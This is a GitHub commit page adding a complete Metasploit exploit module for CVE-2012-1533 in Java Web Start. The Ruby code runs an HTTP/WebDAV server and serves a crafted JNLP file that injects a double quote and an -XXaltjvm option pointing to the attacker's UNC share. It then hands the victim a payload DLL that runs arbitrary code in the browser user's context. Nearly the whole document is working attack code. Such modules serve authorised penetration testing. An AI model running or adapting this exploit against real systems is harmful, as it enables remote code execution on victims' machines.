Skip to content

Commit ca85785

Browse files
committed
Land rapid7#1948 - Add module for CVE-2012-1533
2 parents 8287dd3 + afb2f83 commit ca85785

File tree

1 file changed

+311
-0
lines changed

1 file changed

+311
-0
lines changed
Lines changed: 311 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,311 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
#
14+
# This module acts as an HTTP server
15+
#
16+
include Msf::Exploit::Remote::HttpServer::HTML
17+
include Msf::Exploit::EXE
18+
19+
def initialize(info = {})
20+
super(update_info(info,
21+
'Name' => 'Sun Java Web Start Double Quote Injection',
22+
'Description' => %q{
23+
This module exploits a flaw in the Web Start component of the Sun Java
24+
Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP
25+
file can contain a double quote which is not properly sanitized when creating
26+
the command line for javaw.exe. This allows the injection of the -XXaltjvm
27+
option to load a jvm.dll from a remote UNC path into the java process. Thus
28+
an attacker can execute arbitrary code in the context of a browser user.
29+
This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07.
30+
31+
In order for this module to work, it must be ran as root on a server that
32+
does not serve SMB. Additionally, the target host must have the WebClient
33+
service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing
34+
a jvm.dll can be specified with an own SMB server.
35+
},
36+
'Author' =>
37+
[
38+
# NOTE: module is completely based on and almost the same like jducks module for CVE-2012-0500 jva_ws_vmargs
39+
'Rh0 <rh0[at]z1p.biz>' # discovery and msf module
40+
],
41+
'References' =>
42+
[
43+
[ 'CVE', '2012-1533' ],
44+
[ 'OSVDB', '86348' ],
45+
[ 'BID' , '56046'],
46+
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
47+
[ 'URL', 'http://pastebin.com/eUucVage ']
48+
],
49+
'Platform' => 'win',
50+
'Payload' =>
51+
{
52+
'Space' => 1024,
53+
'BadChars' => '',
54+
'DisableNops' => true,
55+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
56+
},
57+
'Targets' =>
58+
[
59+
[ 'Automatic', { } ],
60+
[ 'Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86',
61+
{
62+
'Platform' => 'win',
63+
'Arch' => ARCH_X86
64+
}
65+
],
66+
],
67+
'DefaultTarget' => 0,
68+
'DisclosureDate' => 'Oct 16 2012'
69+
))
70+
71+
register_options(
72+
[
73+
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
74+
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
75+
OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ])
76+
], self.class)
77+
end
78+
79+
80+
def auto_target(cli, request)
81+
agent = request.headers['User-Agent']
82+
83+
ret = nil
84+
#print_status("Agent: #{agent}")
85+
# Check for MSIE and/or WebDAV redirector requests
86+
if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
87+
ret = targets[1]
88+
elsif agent =~ /MSIE (6|7|8)\.0/
89+
ret = targets[1]
90+
else
91+
print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
92+
end
93+
94+
ret
95+
end
96+
97+
98+
def on_request_uri(cli, request)
99+
100+
# For this exploit, this does little besides ensures the user agent is a recognized one..
101+
mytarget = target
102+
if target.name == 'Automatic'
103+
mytarget = auto_target(cli, request)
104+
if (not mytarget)
105+
send_not_found(cli)
106+
return
107+
end
108+
end
109+
110+
# Special case to process OPTIONS for /
111+
if (request.method == 'OPTIONS' and request.uri == '/')
112+
process_options(cli, request, mytarget)
113+
return
114+
end
115+
116+
# Discard requests for ico files
117+
if (request.uri =~ /\.ico$/i)
118+
send_not_found(cli)
119+
return
120+
end
121+
122+
# If there is no subdirectory in the request, we need to redirect.
123+
if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
124+
if (request.uri == '/')
125+
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
126+
else
127+
subdir = request.uri + '/'
128+
end
129+
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
130+
send_redirect(cli, subdir)
131+
return
132+
else
133+
share_name = $1
134+
end
135+
136+
# dispatch WebDAV requests based on method first
137+
case request.method
138+
when 'OPTIONS'
139+
process_options(cli, request, mytarget)
140+
when 'PROPFIND'
141+
process_propfind(cli, request, mytarget)
142+
when 'GET'
143+
process_get(cli, request, mytarget, share_name)
144+
when 'PUT'
145+
print_status("Sending 404 for PUT #{request.uri} ...")
146+
send_not_found(cli)
147+
else
148+
print_error("Unexpected request method encountered: #{request.method}")
149+
end
150+
151+
end
152+
153+
#
154+
# GET requests
155+
#
156+
def process_get(cli, request, target, share_name)
157+
158+
print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
159+
# dispatch based on extension
160+
if (request.uri =~ /\.dll$/i)
161+
#
162+
# DLL requests sent by IE and the WebDav Mini-Redirector
163+
#
164+
print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
165+
# Re-generate the payload
166+
return if ((p = regenerate_payload(cli)) == nil)
167+
# Generate a DLL based on the payload
168+
dll_data = generate_payload_dll({ :code => p.encoded })
169+
# Send it :)
170+
send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
171+
elsif (request.uri =~ /\.jnlp$/i)
172+
#
173+
# Send the jnlp document
174+
#
175+
# Prepare the UNC path...
176+
if (datastore['UNCPATH'])
177+
unc = datastore['UNCPATH'].dup
178+
else
179+
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
180+
unc = "\\\\" + my_host + "\\" + share_name
181+
end
182+
183+
# NOTE: we ensure there's only a single backslash here since it will get escaped
184+
if unc[0,2] == "\\\\"
185+
unc.slice!(0, 1)
186+
end
187+
188+
# use initial-heap-size='"' to inject a double quote and max-heap-size=" -XXaltjvm=\\IP\share " to
189+
# inject a parameter into the command line of javaw.exe
190+
# codebase, href and application-desc parameters successfully suppress java splash
191+
jnlp_data = <<-EOS
192+
<?xml version="1.0" encoding="UTF-8"?>
193+
<jnlp version="1" codebase="#{Rex::Text.rand_text_alpha(rand(10)+10)}" href="#{Rex::Text.rand_text_alpha(rand(10)+10)}.jnlp">
194+
<information>
195+
<title>Download</title>
196+
<vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor>
197+
<description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description>
198+
</information>
199+
<resources>
200+
<java version="1.6+" initial-heap-size='"' max-heap-size=" -XXaltjvm=#{unc} " />
201+
</resources>
202+
<application-desc progress-class="#{Rex::Text.rand_text_alpha(rand(10)+10)}" />
203+
</jnlp>
204+
EOS
205+
print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")
206+
send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })
207+
else
208+
print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
209+
jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))
210+
jnlp_path = get_resource()
211+
if jnlp_path[-1,1] != '/'
212+
jnlp_path << '/'
213+
end
214+
jnlp_path << request.uri.split('/')[-1] << '/'
215+
jnlp_path << jnlp_name << ".jnlp"
216+
send_redirect(cli, jnlp_path, '')
217+
end
218+
219+
end
220+
221+
#
222+
# OPTIONS requests sent by the WebDav Mini-Redirector
223+
#
224+
def process_options(cli, request, target)
225+
print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
226+
headers = {
227+
#'DASL' => '<DAV:sql>',
228+
#'DAV' => '1, 2',
229+
'Allow' => 'OPTIONS, GET, PROPFIND',
230+
'Public' => 'OPTIONS, GET, PROPFIND'
231+
}
232+
send_response(cli, '', headers)
233+
end
234+
235+
236+
#
237+
# PROPFIND requests sent by the WebDav Mini-Redirector
238+
#
239+
def process_propfind(cli, request, target)
240+
path = request.uri
241+
print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
242+
body = ''
243+
244+
if (path =~ /\.dll$/i)
245+
# Response for the DLL
246+
print_status("Sending DLL multistatus for #{path} ...")
247+
#<lp1:getcontentlength>45056</lp1:getcontentlength>
248+
body = %Q|<?xml version="1.0" encoding="utf-8"?>
249+
<D:multistatus xmlns:D="DAV:">
250+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
251+
<D:href>#{path}</D:href>
252+
<D:propstat>
253+
<D:prop>
254+
<lp1:resourcetype/>
255+
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
256+
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
257+
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
258+
<lp2:executable>F</lp2:executable>
259+
<D:lockdiscovery/>
260+
<D:getcontenttype>application/octet-stream</D:getcontenttype>
261+
</D:prop>
262+
<D:status>HTTP/1.1 200 OK</D:status>
263+
</D:propstat>
264+
</D:response>
265+
</D:multistatus>
266+
|
267+
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
268+
# Response for anything else (generally just /)
269+
print_status("Sending directory multistatus for #{path} ...")
270+
body = %Q|<?xml version="1.0" encoding="utf-8"?>
271+
<D:multistatus xmlns:D="DAV:">
272+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
273+
<D:href>#{path}</D:href>
274+
<D:propstat>
275+
<D:prop>
276+
<lp1:resourcetype><D:collection/></lp1:resourcetype>
277+
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
278+
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
279+
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
280+
<D:lockdiscovery/>
281+
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
282+
</D:prop>
283+
<D:status>HTTP/1.1 200 OK</D:status>
284+
</D:propstat>
285+
</D:response>
286+
</D:multistatus>
287+
|
288+
else
289+
print_status("Sending 404 for #{path} ...")
290+
send_not_found(cli)
291+
return
292+
end
293+
# send the response
294+
resp = create_response(207, "Multi-Status")
295+
resp.body = body
296+
resp['Content-Type'] = 'text/xml'
297+
cli.send_response(resp)
298+
end
299+
300+
301+
#
302+
# Make sure we're on the right port/path to support WebDAV
303+
#
304+
def exploit
305+
if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/')
306+
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
307+
end
308+
super
309+
end
310+
311+
end

0 commit comments

Comments
 (0)